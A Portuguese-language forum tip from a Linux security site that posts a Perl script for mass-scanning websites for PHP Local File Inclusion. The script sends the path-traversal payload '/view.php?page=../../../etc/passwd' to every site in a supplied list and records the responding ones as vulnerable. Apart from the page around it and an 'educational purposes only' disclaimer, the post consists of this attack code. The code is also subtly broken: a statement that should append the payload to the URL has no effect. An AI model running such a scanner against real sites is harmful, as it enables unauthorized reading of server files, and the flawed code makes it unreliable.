Visite também: Viva o Linux · Dicas-L · NoticiasLinux · SoftwareLivre.org



» Login
Login:
Senha:

Se você ainda não possui uma conta, clique aqui.

Esqueci minha senha

[Dica] Scanner de PHP-LFI (PHP - Local File Inclusion)

Linux user
Publicado por elvis suffi pompeu em 14/04/2010

Login: elvis, 6984 pontos Homepage:
[ Hits: 3318 ]

Scanner de PHP-LFI (PHP - Local File Inclusion)

Posto aqui um scanner simples em Perl para explorar Local File Inclusion em PHP. Seu uso é simples, tem a finalidade de explorar script view.php caso estiver vulnerável, tentando ler o arquivo /etc/passwd do servidor que hospeda o portal.

Modo de uso::

$ perl scan.pl arquivo.txt

Sendo "arquivo.txt" a lista de sites sobre sua responsabilidade a qual você busca essa vulnerabilidade.

Código-fonte:

#!/usr/bin/perl
use LWP 5.64;

# H1r4x Team - Scanner PHP Local File inclusion
# Scanner de Vulnerabilidade Local em sistemas PHP,
# para fins educacionais, não me responsabilizo
# pelo mau uso do mesmo. Copyright (c) 2009
# - crackt0r (elvis.suffipompeu@gmail.com)
# Este programa é software gratuito; você pode
# redistribuí-lo e/ou modificá-lo sob os termos da
# GNU General Public license, conforme publicado
# pela Free Software Fundation; ou a versão 2 da
# licença ou (segunda sua opção) qualquer versão
# posterior. Este programa é distribuído na
# esperança de que vá ser útil, mas SEM QUALQUER
# GARANTIA; sem mesmo a garantia implícita
# de MERCANTIBILDADE ou LUCRATIVIDADE PARA UM
# PROPÓSITO PARTICULAR.  Para mais detalhes, veja
# a GNU General Public License.  greetz: STEALH
# Break_IDS Crash g0ph3r BashX unknowm SentiniX


print "----------------------------------------------\n
H1r4x Team - Scanner PHP Local File Inclusion \n
----------------------------------------------\n";

if (!@ARGV[0])
{
   print "modo de uso: $0 sites.txt \n";
   exit;
}

my $site = @ARGV[0];
my $bug = "/view.php?page=../../../etc/passwd";

open(HANDLE,"<$site") || die "can't open file $site";
@array = <HANDLE>;

foreach $site (@array)
{
   if ($site !~/http/)
   {
      $site = 'http://' . $site;
   }

   $browser = LWP::UserAgent->new;
   $site . $bug;
   $response = $browser->get( $site );
   if($response->content =~ m/root/i)
   {
      print "\n[Vulnerable]: $site\n";

      open(VULN,">>vuln.txt");
      print VULN "$site\n";
      close(VULN);

   }
   else
   {
      print "[No]: $site \n";
   }
   close(HANDLE);
}
__END__

ATENÇÃO: Jamais use esse scanner em sistemas que não lhe pertencem. Não me responsabilizo pelo mau uso deste script, deve ser usado apenas para fins educacionais.

Outras dicas deste autor

Leitura recomendada
   Dica Linux recomendada Projeto OWASP Broken Web Applications
   Dica Linux recomendada Wordpress: Mantendo seu blog seguro
   Dica Linux recomendada Forma simples de detectar um ataque DDoS
   Dica Linux recomendada Segurança do SSH com medidas simples de Segurança
   Dica Linux recomendada Aircrack-ng passo a passo!

Comentários
Nenhum comentário foi encontrado.

Contribuir com comentário
  
Para executar esta ação você precisa estar logado no site, caso contrário, tudo o que for digitado será perdido.
Contribuir com: [ Artigo | Conf | Dica | Notícia ]
Responsáveis pelo site: Fábio Berbert de Paula / OYS Academy
Site hospedado por:

Segurança Linux

Site especializado em conteúdo de segurança para Linux.